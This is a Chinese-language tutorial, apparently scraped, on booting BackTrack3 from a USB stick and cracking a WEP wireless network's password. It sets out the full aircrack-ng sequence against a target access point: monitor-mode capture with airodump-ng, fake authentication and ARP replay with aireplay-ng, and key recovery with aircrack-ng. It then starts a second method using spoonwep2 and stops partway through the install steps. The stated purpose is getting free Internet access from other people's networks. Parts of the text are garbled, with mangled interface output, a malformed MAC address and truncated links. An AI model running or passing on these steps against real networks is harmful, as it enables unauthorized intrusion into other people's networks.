文档介绍：先开始制作启动U盘：
将下载好的backtrack3(BT3) usb版(下载地址在文章末尾)（1G以上容量）。把Boot 和BT3两个文件夹放到U盘的根目录，打开BOOT文件夹双击运行" "批处理文件。U盘里就会多出4个文件." " "" " " "" （如果想要中文截面的BT3的菜单,就在下载BT3中文语言包。下载地址：xtensions.
eth0 no wireless extensions.
eth1 IEEE ESSID:"" Nickname:""
Mode:Monitor Frequency: GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retryff RTS thrff Fragment thrff
Encryption keyff
Power Managementff
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
3. 输入命令 airodump-ng -c 11 --bssid 00:1A:01:8D:C3:B2 -w outputs eth1.
命令中的11 表示要P解的频道号，bssid后面的数字表示P解目标的MAC物理地址，outputs表示要生成的包的名称。回车运行。
shell 输入 aireplay-ng -1 0 -e targetnet -a 00:1A:01:8D:C3:B2 -h 00:A1:C18:A5:B6 eth1
其中“targetnet”表示P解目标网络名,00:1A:01:8D:C3:B2前面已解释过是指目标MAC物理地址，00:A1:C18:A5:B6表示本机网卡MAC物理地址
shell 输入 aireplay-ng -3 -b 00:1A:01:8D:C3:B2 -h 00:A1:C18:A5:B6 eth1
获取更多的数据包。
。再开一个shell输入 aircrack-ng -z -b 00:1A:01:8D:C3:B2 进行P解。如果P解不成功，让它继续抓包，直到P解。
BT3(backtrack3) usb版下载地址列表
backtrack3(BT3) usb版下载地址列表：（自己选个快的镜像下）
BT下载：
Torrent:
FTP下载：
HTTP下载：
.gr/mirrors/linux/backtrack/
再不会进白度文库里面   非常清楚图文教程
也可以参见下面的方法
无线路由器密码免费-BT3-spoonwep2
一、准备篇
1、一个有可免费无线信号的环境。如我在家随便搜索出来的信号。
2、带无线网卡的电脑一台（笔记本台式机均可，只要无线网卡兼容BT3），我用的是三星NC10的上网本。
3、2G以上优盘一个（我用的是kingston 8G 的）
4、搜索下载BT3，约900多兆。
注：BT3 全称BackTrack3，与我们常说的bt下载是完全不同的概念。以我理解就是集成了一些计算机安全软件的linux系统。正是由于它的出世和不断普及，使得免费可让普通用户轻易言之。
5、搜索下载spoonwep2中文包。地址：
注：spoonwep2就是我们的免费软件，一个非常强悍的图形化免费WEP无线网络密码的工具。
二、安装篇
1、将优盘格式化，配置如下图，唯一要注意文件系统选为FAT32就可以了。
2、将刚才下载完成的bt3解压缩，复制到优盘，完成后会看到优盘目录下有两个文件夹，一个boot 一个BT3。如下图：
3、开始安装bt3系统。点击开始-运行，输入CMD, 然后回车，进入命令行模式。
首先输入你优盘的盘符，我这里是h盘，输入h：然后回车，接下来输入 cd boo